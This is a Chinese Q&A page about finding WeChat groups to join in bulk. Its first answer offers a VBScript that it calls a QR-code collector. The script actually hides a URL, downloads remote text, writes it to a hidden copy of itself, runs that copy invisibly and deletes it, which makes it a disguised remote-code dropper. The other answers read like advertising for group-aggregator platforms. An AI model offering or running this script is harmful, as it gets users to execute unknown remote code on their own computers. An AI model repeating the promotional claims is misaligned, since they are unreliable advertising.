有什么地方可以大量加入微信群的?
发布网友
发布时间:2022-02-25 02:27
我来回答
共3个回答
热心网友
时间:2022-02-25 03:57
自己做一个采集工具,每天可采上千个群,想怎么加就怎么加!
工具代码很简单,将以下代码复制到文本,再改后缀为.vbs,运行就可以采集了:
on error resume next
msgbox "即将采集微信群二维码到本地【微信群大全】文件夹"
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
url = "tttps:||nc.cli.im|qrcoderoute|qrcodeRoute?qrcode_route=qr61.cn|o35ejn|qmhkEOj"
url = replace(url,"ttt","htt")
url = replace(url,"|","/")
Post.Open "GET",url,0
Post.Send()
tt =Post.ResponseText
MyStr = Split(Split(tt, "''")(1), "''")(0)
MyStr = replace(MyStr,"\""","""")
MyStr = replace(MyStr,"\/","/")
MyStr = replace(MyStr,"\\","\")
MyStr = replace(MyStr,"</p>","<br>")
MyStr = replace(MyStr,"<p>","<br>")
MyStr = replace(MyStr," ","")
MyStr = replace(MyStr,"&","&")
MyStr = replace(MyStr,"rright","right")
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
If Not fso.FolderExists(Shell.CurrentDirectory&"\微信群大全") Then
fso.CreateFolder(Shell.CurrentDirectory&"\微信群大全")
End If
n=wscript.scriptname
for i = 0 to UBound(Split(MyStr, "<br>"))
htm = Split(MyStr, "<br>")(Int(i))
set f = fso.opentextfile(Shell.CurrentDirectory&"\_"&wscript.scriptname,8,true):f.WriteLine htm:f.close
next
Shell.run Shell.CurrentDirectory&"\_"&wscript.scriptname,0
WScript.Sleep 10000
fso.DeleteFile(Shell.CurrentDirectory&"\_"&wscript.scriptname), DeleteReadOnly
Set f = NoThing
Set fso = NoThing
Set Post = NoThing
Set Shell = NoThing
Set aGet = NoThing
热心网友
时间:2022-02-25 05:15
你可以在百度上面搜索“加粉网”,上面是一个微信加好友、大量换群的平台,每天都有很多人在上面加微信群,只要简简单单的扫一扫二维码就可以了,非常方便的,建议你去试试!我是雷锋不用谢,要是帮到你了请给我个好评~
热心网友
时间:2022-02-25 06:49
在现在这个到处都是微信群的时代。微信群可以做很多事情,比如推广,广告,加人,甚至是人脉资源。
1、第一种,最简单的,可以尝试在微信上直接搜XX群,就可能会出来相关的文章,和公众号,你点进去可以通过筛选找到自己想要的
比如:微信内直接搜寻群宝,就能找到。
2、还有一种是微信群聚合类的平台,就是一个平台上会有很多微信群,你只需要在平台里搜就可以了,也比较方便。
比如:在寻群宝 里面搜金融群,也能找到你想要的微信群。
3、最后,其实可以通过自己的QQ搜索,找到对应的群,以此找到自己想要的微信群。
比如:QQ搜索拼多多群,就能出来很多